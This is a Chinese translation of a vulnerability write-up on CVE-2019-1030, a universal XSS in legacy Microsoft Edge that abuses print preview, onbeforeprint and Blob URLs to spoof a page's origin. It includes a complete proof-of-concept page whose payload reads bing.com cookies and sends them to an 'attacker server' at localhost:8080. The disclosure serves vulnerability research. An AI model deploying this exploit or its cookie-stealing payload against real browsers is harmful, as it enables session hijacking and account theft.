Microsoft Edge浏览器的Universal XSS漏洞分析(CVE-2019-1030)

birdpwn 新闻 2019年9月22日发布
Favorite收藏

导语:UXSS漏洞是浏览器漏洞中非常容易利用的一种漏洞,它能够在网站执行javascript代码,这就像是在所有网站上都有一个XSS的漏洞。更有趣的是我发现这个漏洞的方式,通常的uXSS漏洞都是与iframe元素有关或者和URL有关系,但我没想到我居然发现了一个使用`'print()'`函数的uXSS漏洞。

UXSS漏洞是浏览器漏洞中非常容易利用的一种漏洞,它能够在网站执行Javascript代码,这就像是在所有网站上都有一个XSS的漏洞。更有趣的是我发现这个漏洞的方式,通常的uXSS漏洞都是与IFRAME元素有关或者和URL有关系,但我没想到我居然发现了一个使用'print()'函数的uXSS漏洞。

0x01 打印预览上下文

看一下Edge显示打印预览窗口会发生什么,打印的页面会被复制到一个临时位置并重新渲染, 当'print()'函数在页面中执行时,可以在Process Monitor中看到以下文件系统活动:    

在Edge临时目录中创建了一个文件,该文件的内容是我们尝试打印的原始页面的略微修改版本。

比较一下看看,打印前:

 <!doctype html>
 <html>
 <head>
  <title>Printer Button</title>
 </head>
 <body>
 <button id="qbutt">Print!</button>
 <iframe src="https://www.bing.com/?q=example"></iframe>
 <script>
 qbutt.onclick=e=>{
  window.print();
 }
 </script>
 </body>
 </html>

打印后:

 <!DOCTYPE HTML>
 <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META 
 content="text/html; charset=utf-8" http-equiv=Content-Type>
 <BASE HREF="http://q.leucosite.com:777/printExample.html">
 <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer 
 Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME> 
 <SCRIPT>
 qbutt.onclick=e=&gt;{
  window.print();
 }
 </SCRIPT>
 </BODY></HTML>

我们可以从这个比较中发现一些区别:

1. Javascript代码被编码了。

2. IFRAME指向同一目录中的另一个本地文件,该文件包含原始bing.com引用的源代码。

3. HTML元素具有 '__IE_DisplayURL'特殊属性。

我做了一些测试,首先试着看看是否仍然可以在编码后获得有效的Javascript,希望可以执行Javascript代码。但事实证明,任何来自script元素内的Javascript代码,无论是有效还是无效,都不会被执行。

可以使用CSS '@media print{}'函数和CSS选择器来提供操作系统用户名,以便从生成的IFRAME href值中获取操作系统用户名。

我发现打印预览上下文依赖于这个属性来知道文档的来源,因为Edge本质上是在'file:'URI方案中打开文件。

但是我们怎么能利用这个属性呢?

0x02 在打印预览中执行Javascript代码

就像我之前说的那样,来自普通SCRIPT标签的任何Javascript都将被阻止或被忽略。

但是其他载体呢?我发现了'onbeforeprint'`,使用它能够注入指向任何网站的IFRAME。所以我马上尝试注入一个指向Javascript URL的IFRAME!特定的Javascript是在打印预览上下文中执行的。

Javascript注入测试:

 <!doctype html>
 <html>
 <head>
  <title>Printer Button</title>
 </head>
 <body>
 <button id="qbutt">Print!</button>
 <div id="qcontent"></div>
 <script>
 qbutt.onclick=e=>{
  window.print();
 }
  window.onbeforeprint=function(e){
  qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
    }
 </script>
 </body>
 </html>

打印预览转换后:

 <!DOCTYPE HTML>
 <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META 
 content="text/html; charset=windows-1252" http-equiv=Content-Type>
 <BASE HREF="http://q.leucosite.com/dl.html">
 <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer 
 Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV 
 id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV>
 <SCRIPT>
 qbutt.onclick=e=&gt;{
  window.print();
 }
  window.onbeforeprint=function(e){
  qcontent.innerHTML=`&lt;iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"&gt;&lt;/iframe&gt;`;
    }
 </SCRIPT>
 </BODY></HTML>

现在只是让Javascript执行了,由于该属性,任何请求或API都将被视为来自原始文档。

0x03 发现uXSS漏洞

现在已经执行了Javascript,需要以某种方式自定义构建打印预览文档,然后可以模仿选择的任何网站,从而触发uXSS漏洞。  我发现使用Blob URL能够实现这一点!所以我创建了自己的打印文档,其自定义属性指向我的目标网站(在本例中为'bing.com'),它包含一个Javascript IFRAME,它将像'bing.com'本身一样执行。   我注入了以下Javascript代码:

 if (top.location.protocol == 'file:') {
     setTimeout(function() {
         top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], {
             type: 'text/html'
         }))
     }, 1000)
 }

其中'top.document.getElementById('qd'),value'是以下伪造的“打印文档”:

 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML 
 __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; 
 charset=windows-1252" http-equiv=Content-Type>
 <BASE HREF="https://www.bing.com/">
 <STYLE> HTML { font-family : "Times New Roman" } </STYLE>
 <STYLE>iframe {
  width: 300px; height: 300px;
 }
 </STYLE>
 </HEAD><BODY>
  <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
 </BODY></HTML>

读出'document.cookie'并将其发送到服务器。

总结一下漏洞利用的步骤:

1. 使用'onbeforeprint'事件,在打印之前插入一个指向我的Javascript payload的IFRAME。

2. 调用window.print()来发起请求。

3. Edge显示打印预览窗口,同时渲染注入的Javascript 代码。

4. 注入的Javascript创建了一个Blob URL,其中包含我自定义的'bing.com'打印文档,并将顶部框架重定向到此URL。

5. 打印预览上下文被欺骗认为我的Blob URL的内容是合法的打印文档,并通过该'__IE_DisplayURL'属性将文档原点设置为'bing.com' 。

6. 假打印文档包含另一个Javascript IFRAME,只显示'document.cookie''bing.com'。

7. uXSS漏洞利用成功了!

0x04 PoC和利用演示

 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
 <HTML>
 <head>
 <style>iframe{width:300px;height:300px;}</style>
  </head>
 <body>
 <!-- -----------------------------HTML for our blob------------------------------------ -->
 <textarea id="qd">
 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML 
 __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; 
 charset=windows-1252" http-equiv=Content-Type>
 <BASE HREF="https://www.bing.com/">
 <STYLE> HTML { font-family : "Times New Roman" } </STYLE>
 <STYLE>iframe {
  width: 300px; height: 300px;
 }
 </STYLE>
 </HEAD><BODY>
  <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
 </BODY></HTML>
 </textarea>
 <!-- ---------------------------------------------------------------------------- -->
 <script>
   var qdiv=document.createElement('div');
 document.body.appendChild(qdiv);
 window.onbeforeprint=function(e){
  qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`;
    }
  window.print();
 </script>
  <style>
   </style>
   </body>
  </html>

本文翻译自:https://leucosite.com/Microsoft-Edge-uXSS/?q如若转载,请注明原文地址: https://www.4hou.com/info/news/20307.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论